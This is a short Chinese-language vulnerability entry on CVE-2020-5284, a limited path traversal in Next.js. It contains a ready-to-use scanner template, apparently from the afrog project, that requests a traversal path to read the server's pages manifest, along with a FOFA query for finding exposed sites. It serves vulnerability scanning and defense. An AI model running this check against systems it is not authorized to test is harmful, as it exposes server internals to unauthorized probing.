CVE-2020-5284: Next.js .next limited path traversal

日期: 2025-09-01 | 影响软件: Next.js | POC: 已公开

漏洞描述

前端目录遍历浏览 fofa "Next.js"

PoC代码[已公开]

id: CVE-2020-5284

info:
    name: Next.js .next limited path traversal
    author: 不动明王
    severity: medium
    verified: true 
    description: |
        前端目录遍历浏览
        fofa "Next.js"

rules:
    r0:
        request:
            method: GET
            path: /_next/static/../server/pages-manifest.json
        expression: 'response.status == 200 && response.headers["content-type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body)'
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2020/CVE-2020-5284.yaml

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